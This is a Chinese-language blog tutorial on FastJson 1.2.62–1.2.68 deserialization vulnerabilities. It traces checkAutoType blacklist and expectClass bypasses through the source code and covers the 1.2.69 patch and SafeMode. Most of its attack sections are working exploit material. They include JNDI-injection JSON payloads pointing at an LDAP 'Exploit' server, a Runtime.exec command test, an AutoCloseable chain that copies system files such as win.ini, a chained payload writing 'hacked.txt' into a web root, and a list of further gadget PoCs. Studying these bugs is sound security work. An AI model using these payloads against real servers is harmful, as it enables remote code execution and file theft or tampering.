FastJson 1.2.62-1.2.68反序列化漏洞
今天学习一下FastJson 中 1.2.62 - 1.2.68 的反序列化漏洞,思路的话和之前一样基于黑名单的绕过,但是大部分还是在 AutoType 开启的情况下,且基本都基于存在其他的依赖的条件下
1.2.62 反序列化漏洞
1.2.62 反序列化前提条件
需要开启AutoType
FastJson <= 1.2.62
JNDI注入可利用的 JDK 版本
目标服务端需要存在xbean-reflect包,xbean-reflect 包的版本不限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2 .62 </version> </dependency> <dependency> <groupId>org.apache.xbean</groupId> <artifactId>xbean-reflect</artifactId> <version>4.18 </version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2 .1 </version> </dependency> </dependencies>
漏洞原理分析
逆向分析
漏洞存在在org.apache.xbean.propertyeditor.JndiConverter
中的toObjectImpl
方法中
但是他不是一个setter或者getter方法
1 2 3 4 5 6 7 8 protected Object toObjectImpl (String text) { try { InitialContext context = new InitialContext (); return (Context) context.lookup(text); } catch (NamingException e) { throw new PropertyEditorException (e); } }
向上找,在AbstractConverter#toObject
中调用了该方法
1 2 3 4 5 6 7 8 public final Object toObject (String text) { if (text == null ) { return null ; } Object value = toObjectImpl((trim) ? text.trim() : text); return value; }
继续找的话,我们找到了一个getter方法和一个setter方法,但似乎这个getter方法并不是一个满足条件的getter方法(无参数),因此我们可以看AbstractConverter
中的setAsTest
方法
其中setAsTest
方法源码如下
1 2 3 4 public final void setAsText (String text) { Object value = toObject((trim) ? text.trim() : text); super .setValue(value); }
正向分析
当我们调用JndiConverter
的setAsText
方法时,它本身没有该方法,就会调用父类的setAsText
方法,他的父类正好是AbstractConverter
1 public class JndiConverter extends AbstractConverter
这里会调用toObject
方法,该方法调用toObject
方法,最后toObject
调用toObjectImpl
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 public final void setAsText (String text) { Object value = toObject((trim) ? text.trim() : text); super .setValue(value); } public final Object toObject (String text) { if (text == null ) { return null ; } Object value = toObjectImpl((trim) ? text.trim() : text); return value; }
在AbstractConverter
中没有toObjectImpl
,所以这里调用到JndiConverter
的toObjectImpl
方法,就触发了JNDI注入
1 2 3 4 5 6 7 8 protected Object toObjectImpl (String text) { try { InitialContext context = new InitialContext (); return (Context) context.lookup(text); } catch (NamingException e) { throw new PropertyEditorException (e); } }
EXP编写
EXP如下,记得要开启AutoType哟
1 2 3 4 5 public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String s = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"asText\":\"ldap://127.0.0.1:8085/JlaYFplQ\"}" ; JSON.parse(s); }
运行后
调试分析
我们进入CheckAutoType
中,对里面的一些过滤进行以下分析,有以下几个新的限制
@type
类名长度
expectClass参数的类型匹配
[
检测
L
检测
LL
检测
通过计算hash与白名单进行匹配
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 if (typeName == null ) { return null ; } if (typeName.length() >= 192 || typeName.length() < 3 ) { throw new JSONException ("autoType is not support. " + typeName); } final boolean expectClassFlag; if (expectClass == null ) { expectClassFlag = false ; } else { if (expectClass == Object.class || expectClass == Serializable.class || expectClass == Cloneable.class || expectClass == Closeable.class || expectClass == EventListener.class || expectClass == Iterable.class || expectClass == Collection.class ) { expectClassFlag = false ; } else { expectClassFlag = true ; } } String className = typeName.replace('$' , '.' ); Class<?> clazz = null ; final long BASIC = 0xcbf29ce484222325L ; final long PRIME = 0x100000001b3L ; final long h1 = (BASIC ^ className.charAt(0 )) * PRIME; if (h1 == 0xaf64164c86024f1aL ) { throw new JSONException ("autoType is not support. " + typeName); } if ((h1 ^ className.charAt(className.length() - 1 )) * PRIME == 0x9198507b5af98f0L ) { throw new JSONException ("autoType is not support. " + typeName); } final long h3 = (((((BASIC ^ className.charAt(0 )) * PRIME) ^ className.charAt(1 )) * PRIME) ^ className.charAt(2 )) * PRIME; boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES, TypeUtils.fnv1a_64(className) ) >= 0 ;
继续向下,internalWhite为false , 当我们开启autoTypeSupport时,就会走入下面的逻辑
首先通过hash进行白名单匹配,后续进行黑名单过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 if (!internalWhite && (this .autoTypeSupport || expectClassFlag)) { hash = h3; for (mask = 3 ; mask < className.length(); ++mask) { hash ^= (long )className.charAt(mask); hash *= 1099511628211L ; if (Arrays.binarySearch(this .acceptHashCodes, hash) >= 0 ) { clazz = TypeUtils.loadClass(typeName, this .defaultClassLoader, true ); if (clazz != null ) { return clazz; } } if (Arrays.binarySearch(this .denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null ) { throw new JSONException ("autoType is not support. " + typeName); } } }
因为并没有被黑名单过滤,所以我们走到了这里
autoTypeSupport
为true,因此我们不会走到if代码中并抛出异常,而是会走出if判断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 if (!this .autoTypeSupport) { hash = h3; for (mask = 3 ; mask < className.length(); ++mask) { char c = className.charAt(mask); hash ^= (long )c; hash *= 1099511628211L ; if (Arrays.binarySearch(this .denyHashCodes, hash) >= 0 ) { throw new JSONException ("autoType is not support. " + typeName); } if (Arrays.binarySearch(this .acceptHashCodes, hash) >= 0 ) { if (clazz == null ) { clazz = TypeUtils.loadClass(typeName, this .defaultClassLoader, true ); } if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } }
我们在后面的代码中就会执行loadClass
方法,最后遍历调用setter与getter方法,最终执行恶意代码
1 2 3 4 if (clazz == null && (autoTypeSupport || jsonType || expectClassFlag)) { boolean cacheClass = autoTypeSupport || jsonType; clazz = TypeUtils.loadClass(typeName, this .defaultClassLoader, cacheClass); }
补丁
黑名单绕过的补丁都是在新版本中向hash黑名单中添加相应的hash
新版本运行后会抛出以下异常
1 Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. org.apache.xbe
1.2.66 反序列化漏洞
1.2.66 反序列化,有着三条Gadget,其原理都为JNDI注入,也需要服务端存在其他依赖
1.2.66反序列化前提条件
开启AutoType;
Fastjson <= 1.2.66;
JNDI注入利用所受的JDK版本限制;
org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包;
br.com.anteros.dbcp.AnterosDBCPConfig 类需要 Anteros-Core和 Anteros-DBCP 包;
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包;
Gadget's POC
org.apache.shiro.realm.jndi.JndiRealmFactory
1 {"@type" :"org.apache.shiro.realm.jndi.JndiRealmFactory" , "jndiNames" :["ldap://localhost:1389/Exploit" ], "Realms" :["" ]}
br.com.anteros.dbcp.AnterosDBCPConfig
1 2 3 {"@type" :"br.com.anteros.dbcp.AnterosDBCPConfig" ,"metricRegistry" :"ldap://localhost:1389/Exploit" } 或 {"@type" :"br.com.anteros.dbcp.AnterosDBCPConfig" ,"healthCheckRegistry" :"ldap://localhost:1389/Exploit" }
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig
1 {"@type" :"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig" ,"properties" : {"@type" :"java.util.Properties" ,"UserTransaction" :"ldap://localhost:1389/Exploit" }}
EXP
EXP如下,记得开启AutoTypeSupport
这几个Gadget都十分简单,不在过多分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; public class EXP_1266 { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String poc = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"ldap://localhost:1234/ExportObject\"], \"Realms\":[\"\"]}" ; JSON.parse(poc); } }
1.2.67反序列化漏洞
1.2.67反序列化前提条件
开启AutoType;
Fastjson <= 1.2.67;
JNDI注入利用所受的JDK版本限制;
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖;
org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖;
Fastjson循环引用
Fastjson支持循环引用,且默认开启
参考如下
https://github.com/alibaba/fastjson/wiki/%E5%BE%AA%E7%8E%AF%E5%BC%95%E7%94%A8
在Fastjson中,向JsonArray类型的对象里面add数据时,如果数据相同,那么就会被替换成$ref,相当于定义了一下以便简化,因为数据也是一样的
$ref即循环引用:当一个对象包含另一个对象时,Fastjson会将$ref解析成引用
语法
描述
{“$ref”:”$”}
引用根对象
{“$ref”:”@”}
引用自己
{“$ref”:”..”}
引用父对象
{“$ref”:”../..”}
引用父对象的父对象
{“$ref”:”$.members[0].reportTo”}
基于路径的引用
那这样就清楚了,org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类PoC中后面那段的{“$ref”:”$.tm”},实际上就是基于路径的引用,相当于是调用root.getTm()函数,进而直接调用了tm字段的getter方法了
Gadget's POC
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup
1 {"@type" :"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup" , "jndiNames" :["ldap://localhost:1389/Exploit" ], "tm" : {"$ref" :"$.tm" }}
org.apache.shiro.jndi.JndiObjectFactory
1 {"@type" :"org.apache.shiro.jndi.JndiObjectFactory" ,"resourceName" :"ldap://localhost:1389/Exploit" ,"instance" :{"$ref" :"$.instance" }}
EXP
EXP如下,其实并没有什么差别,还是那句话,记得开启AutoTypeSupport
这几个Gadget也都十分简单,不在过多分析
1 2 3 4 5 6 7 8 9 10 11 12 import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.xml.internal.ws.api.ha.StickyFeature; public class EXP_1267 { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String poc = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\"," + " \"jndiNames\":[\"ldap://localhost:1234/ExportObject\"], \"tm\": {\"$ref\":\"$.tm\"}}" ; JSON.parse(poc); } }
1.2.68反序列化漏洞(expectClass绕过AutoType)
1.2.68反序列化前提条件
Fastjson <= 1.2.68
利用类必须是expectClass类的子类或实现类,并且不在黑名单中
绕过
绕过原理
本次绕过的关键处在于checkAutoType()
的第二个参数expectClass,我们可以通过构造恶意JSON数据、传入某个类作为exceptClass参数在传入另一个exceptClass的子类或者实现类来实现绕过checkAutoType()
函数执行恶意操作
步骤如下:
先传入某个类,其加载成功后作为exceptClass参数传入checkAutoType
函数
查找exceptClass类的实现类或者子类,如果在子类或者实现类中其构造方法或者setter方法中存在危险操作即可利用
可行性测试
简单测试一下该绕过方法的可行性
1 2 3 4 5 6 7 8 9 10 11 12 public class FastjsonExcept implements AutoCloseable { public FastjsonExcept (String cmd) throws IOException { Runtime rt = Runtime.getRuntime(); rt.exec(cmd); } @Override public void close () throws Exception { } }
POC如下
1 {"@type" :"java.lang.AutoCloseable" ,"@type" :"com.FastjsonExcept" ,"cmd" :"calc" }
可以看到,在无需AutoType的情况下,即可执行
断点调试
我们直接在checkAutoType
下断点调试
第一次转入的类是AutoCloseable
进行校验,这里我们可以看到expectClass为null
然后从缓存Mapping中直接获取到AutoCloseable
,然后对获取的clazz进行了一系列的判断,判断clazz是不是null,以及internalWhite的判断,internalWhite里面的白名单一定是很安全的
后续会出现对expectClass的判断,判断expectClass是否为空,且判断它是否继承HashMap类,若满足情况,则抛出异常,反之则会返回类
1 2 3 4 5 6 7 8 9 if (clazz != null ) { if (expectClass != null && clazz != java.util.HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; }
回到DefaultJSONParser
后,获取到clazz后再继续执行,根据AutoCloseable
类获取到反序列化器为JavaBeanDeserializer
使用该反序列化器进行反序列化操作
继续往里面走,调用JavaBeanDeserializer
的deserialze
方法,传入的第二个参数type即为AutoCloseable
类
往下面的逻辑,就是解析后面类的过程。这里看到获取不到对象反序列化器后,就会进入到if的判断中,设置 type 参数即 java.lang.AutoCloseable
类为 checkAutoType()
方法的 expectClass 参数来调用 checkAutoType()
函数来获取指定类型,然后在获取指定的反序列化器
这次我们第二次进入checkAutoType
方法,typeName是我们POC中的第二个类,exceptClass参数是POC中指定的第一个类
因为AutoCloseable
并不是黑名单中的类,所以expectClassFlag被设置为true
最后走到我们刚刚说的地方,当这个类不在白名单,且autoType开启或者expectClassFlag为true时,即可进入Auto开启时的检测逻辑
往下,由于expectClassFlag为true,进入如下的loadClass()逻辑来加载目标类,但是由于AutoType关闭且jsonType为false,因此调用loadClass()函数的时候是不开启cache即缓存的
跟进该函数中,这里使用AppClassLoader
加载 VulAutoCloseable
类并直接返回
往下,判断其是否为jsonType,若true的话直接添加Mapping缓存并返回类,否则接着判断返回的类是否是ClassLoader、DataSource、RowSet等类的子类,是的话直接抛出异常
这也是过滤大多数JNDI注入Gadget的机制
最重点的是以下部分,这里当expectClass不为null时,就会判断我们的clazz是否为expectClass的子类,若它继承与expectClass的话,就会被添加到Mapping缓存中并返回该目标类,反之则抛出异常
这里解释的我们的恶意类必须要继承自expectClass类,只有目标类是expectClass类的子类时,才能通过这里的判断,后续反序列化即可造成恶意代码的执行
小结
在我们的POC中定义了两个@type
第一个type进去什么事情都没有发生,它是作为第二个type类的expectClass传入的,而当第二个type类为第一个type的继承类,且他的setter/getter或构造方法中存在危险方法时,即可被我们利用
实际利用
我实在太菜了,不会自己寻找gadget,这里就直接从别的师傅那里看存在漏洞的地方了 嘤嘤嘤
找到的是IntputStream和OutputStream,他们都是实现自AutoCloseable接口的
复制文件(任意文件读取)
利用类:org.eclipse.core.internal.localstore.SafeFileOutputStream
依赖:
1 2 3 4 5 <dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjtools</artifactId> <version>1.9 .5 </version> </dependency>
我们来看一下SafeFileOutputStream
的源代码,在他的构造函数public SafeFileOutputStream(String targetPath, String tempPath)
中,若targetPath文件不存在,且tempPath文件存在,就会把tempPath复制到targetPath中
利用其构造函数,我们可以实现特定web场景下的任意文件读取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 package org.eclipse.core.internal.localstore;import java.io.BufferedInputStream;import java.io.BufferedOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.OutputStream;import org.eclipse.core.internal.utils.FileUtil;public class SafeFileOutputStream extends OutputStream { protected File temp; protected File target; protected OutputStream output; protected boolean failed; protected static final String EXTENSION = ".bak" ; public SafeFileOutputStream (File file) throws IOException { this (file.getAbsolutePath(), (String)null ); } public SafeFileOutputStream (String targetPath, String tempPath) throws IOException { this .failed = false ; this .target = new File (targetPath); this .createTempFile(tempPath); if (!this .target.exists()) { if (!this .temp.exists()) { this .output = new BufferedOutputStream (new FileOutputStream (this .target)); return ; } this .copy(this .temp, this .target); } this .output = new BufferedOutputStream (new FileOutputStream (this .temp)); } public void close () throws IOException { try { this .output.close(); } catch (IOException var2) { IOException e = var2; this .failed = true ; throw e; } if (this .failed) { this .temp.delete(); } else { this .commit(); } } protected void commit () throws IOException { if (this .temp.exists()) { this .target.delete(); this .copy(this .temp, this .target); this .temp.delete(); } } protected void copy (File sourceFile, File destinationFile) throws IOException { if (sourceFile.exists()) { if (!sourceFile.renameTo(destinationFile)) { InputStream source = null ; OutputStream destination = null ; try { source = new BufferedInputStream (new FileInputStream (sourceFile)); destination = new BufferedOutputStream (new FileOutputStream (destinationFile)); this .transferStreams(source, destination); ((OutputStream)destination).close(); } finally { FileUtil.safeClose(source); FileUtil.safeClose(destination); } } } } protected void createTempFile (String tempPath) { if (tempPath == null ) { tempPath = this .target.getAbsolutePath() + ".bak" ; } this .temp = new File (tempPath); } public void flush () throws IOException { try { this .output.flush(); } catch (IOException var2) { IOException e = var2; this .failed = true ; throw e; } } public String getTempFilePath () { return this .temp.getAbsolutePath(); } protected void transferStreams (InputStream source, OutputStream destination) throws IOException { byte [] buffer = new byte [8192 ]; while (true ) { int bytesRead = source.read(buffer); if (bytesRead == -1 ) { return ; } destination.write(buffer, 0 , bytesRead); } } public void write (int b) throws IOException { try { this .output.write(b); } catch (IOException var3) { IOException e = var3; this .failed = true ; throw e; } } }
根据原理来写一个POC
1 2 3 4 5 6 7 public class Fastjson { public static void main (String[] args) { String s = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\"tempPath\":\"C://windows/win.ini\",\"targetPath\":\"E:/flag.txt\"}" ; JSON.parseObject(s); } }
可以看到成功读取文件内容并写入flag.txt
写入文件
利用类:com.esotericsoftware.kryo.io.Output
依赖:
1 2 3 4 5 <dependency> <groupId>com.esotericsoftware</groupId> <artifactId>kryo</artifactId> <version>4.0 .0 </version> </dependency>
该类写入了提供了setOutputStream
和setBuffer
两个setter方法用来写入输入流,其中的buffer参数值是文件内容,outputStream参数值就是前面的SafeFileOutputStream类对象,而要触发写文件操作则需要调用其flush()
方法,该方法将流写入一个文件内
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public void setOutputStream (OutputStream outputStream) { this .outputStream = outputStream; position = 0 ; total = 0 ; } ... public void setBuffer (byte [] buffer) { setBuffer(buffer, buffer.length); } ... public void flush () throws KryoException { if (outputStream == null ) return ; try { outputStream.write(buffer, 0 , position); outputStream.flush(); } catch (IOException ex) { throw new KryoException (ex); } total += position; position = 0 ; } ...
写入文件时,我们就可以考虑写入恶意文件
接下来我们就看,怎么样去触发这个flush
函数了,通过查找用法查看,只有在close()
和require()
函数被调用时才会触发,其中require
只有在调用write相关函数时才会被触发,存在着链子的思维
我们找到ObjectOutputStream
类,其中它的内部类BlockDataOutputStream
的构造函数,将OutputStream
类型参数赋值给了out成员变量,而其中的setBolockDataMode
函数调用了drain
方法,drain
中又调用了out.write
方法,从而调用了flush
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 BlockDataOutputStream(OutputStream out) { this .out = out; dout = new DataOutputStream (this ); } boolean setBlockDataMode (boolean mode) throws IOException { if (blkmode == mode) { return blkmode; } drain(); blkmode = mode; return !blkmode; } ... void drain () throws IOException { if (pos == 0 ) { return ; } if (blkmode) { writeBlockHeader(pos); } out.write(buf, 0 , pos); pos = 0 ; }
对于setBlockDataMode
函数的调用,在ObjectOutputStream
类的有参构造函数中就存在:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public ObjectOutputStream (OutputStream out) throws IOException { verifySubclass(); bout = new BlockDataOutputStream (out); handles = new HandleTable (10 , (float ) 3.00 ); subs = new ReplaceTable (10 , (float ) 3.00 ); enableOverride = false ; writeStreamHeader(); bout.setBlockDataMode(true ); if (extendedDebugInfo) { debugInfoStack = new DebugTraceInfoStack (); } else { debugInfoStack = null ; } }
但是Fastjson优先获取ObjectOutputStream类的无参构造方法,只能找它的继承类来触发了
我们找到一个只有有参构造方法的类:com.sleepycat.bind.serial.SerialOutput
依赖:
1 2 3 4 5 <dependency> <groupId>com.sleepycat</groupId> <artifactId>je</artifactId> <version>5.0 .73 </version> </dependency>
我们可以看到,它的有参构造方法,是使用了他父类ObjectOutputStream
的有参构造方法,这就满足我们之前的要求了
1 2 3 4 5 6 7 8 9 10 public SerialOutput (OutputStream out, ClassCatalog classCatalog) throws IOException { super (out); this .classCatalog = classCatalog; useProtocolVersion(ObjectStreamConstants.PROTOCOL_VERSION_2); }
POC如下,用到了Fastjson循环引用的技巧来调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 { "stream" : { "@type" : "java.lang.AutoCloseable" , "@type" : "org.eclipse.core.internal.localstore.SafeFileOutputStream" , "targetPath" : "D:/wamp64/www/hacked.txt" , "tempPath" : "D:/wamp64/www/test.txt" }, "writer" : { "@type" : "java.lang.AutoCloseable" , "@type" : "com.esotericsoftware.kryo.io.Output" , "buffer" : "cHduZWQ=" , "outputStream" : { "$ref" : "$.stream" }, "position" : 5 }, "close" : { "@type" : "java.lang.AutoCloseable" , "@type" : "com.sleepycat.bind.serial.SerialOutput" , "out" : { "$ref" : "$.writer" } } }
补丁修复
在GitHub官方的diff,主要在ParserConfig.java中:
https://github.com/alibaba/fastjson/compare/1.2.68%E2%80%A61.2.69#diff-f140f6d9ec704eccb9f4068af9d536981a644f7d2a6e06a1c50ab5ee078ef6b4
在expectClass的对比逻辑中,对类名进行了hash处理在比较hash黑名单,并添加了几个类
有人通过彩虹表碰撞,知道了其中新添加的三个类为如下
版本
十进制Hash值
十六进制Hash值
类名
1.2.69
5183404141909004468L
0x47ef269aadc650b4L
java.lang.Runnable
1.2.69
2980334044947851925L
0x295c4605fd1eaa95L
java.lang.Readable
1.2.69
-1368967840069965882L
0xed007300a7b227c6L
java.lang.AutoCloseable
SafeMode
官方的参考:[https://github.com/alibaba/fastjson/wiki/fastjson_safemode](https://github.com/alibaba/fastjson/wiki/fastjson_safemode)
在1.2.68之后的版本中,fastjson添加了safeMode的支持
该参数开启后,完全禁用autoType。所有安全修复版本sec10也支持safeMode配置
代码中开启SafeMode代码如下
1 ParserConfig.getGlobalInstance().setSafeMode(true );
开启之后,就完全禁用AutoType
即@type
了,这样就能防御住Fastjson反序列化漏洞了。具体的处理逻辑,是放在checkAutoType()
函数中的前面,获取是否设置了SafeMode
,如果是则直接抛出异常终止运行
其他一些绕过黑名单的Gadget
1.2.59
com.zaxxer.hikari.HikariConfig类PoC:
1 {"@type" :"com.zaxxer.hikari.HikariConfig" ,"metricRegistry" :"ldap://localhost:1389/Exploit" }或{"@type" :"com.zaxxer.hikari.HikariConfig" ,"healthCheckRegistry" :"ldap://localhost:1389/Exploit" }
1.2.61
org.apache.commons.proxy.provider.remoting.SessionBeanProvider类PoC:
1 {"@type" :"org.apache.commons.proxy.provider.remoting.SessionBeanProvider" ,"jndiName" :"ldap://localhost:1389/Exploit" ,"Object" :"a" }
1.2.62
org.apache.cocoon.components.slide.impl.JMSContentInterceptor类PoC:
1 {"@type" :"org.apache.cocoon.components.slide.impl.JMSContentInterceptor" , "parameters" : {"@type" :"java.util.Hashtable" ,"java.naming.factory.initial" :"com.sun.jndi.rmi.registry.RegistryContextFactory" ,"topic-factory" :"ldap://localhost:1389/Exploit" }, "namespace" :"" }
1.2.68
org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig类PoC:
1 {"@type" :"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig" ,"metricRegistry" :"ldap://localhost:1389/Exploit" }或{"@type" :"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig" ,"healthCheckRegistry" :"ldap://localhost:1389/Exploit" }
com.caucho.config.types.ResourceRef类PoC:
1 {"@type" :"com.caucho.config.types.ResourceRef" ,"lookupName" : "ldap://localhost:1389/Exploit" , "value" : {"$ref" :"$.value" }}
未知版本
org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory类PoC:
1 {"@type" :"org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory" , "tmJndiName" : "ldap://localhost:1389/Exploit" , "tmFromJndi" : true , "transactionManager" : {"$ref" :"$.transactionManager" }}
org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory类PoC:
1 {"@type" :"org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory" , "tmJndiName" : "ldap://localhost:1389/Exploit" , "tmFromJndi" : true , "transactionManager" : {"$ref" :"$.transactionManager" }}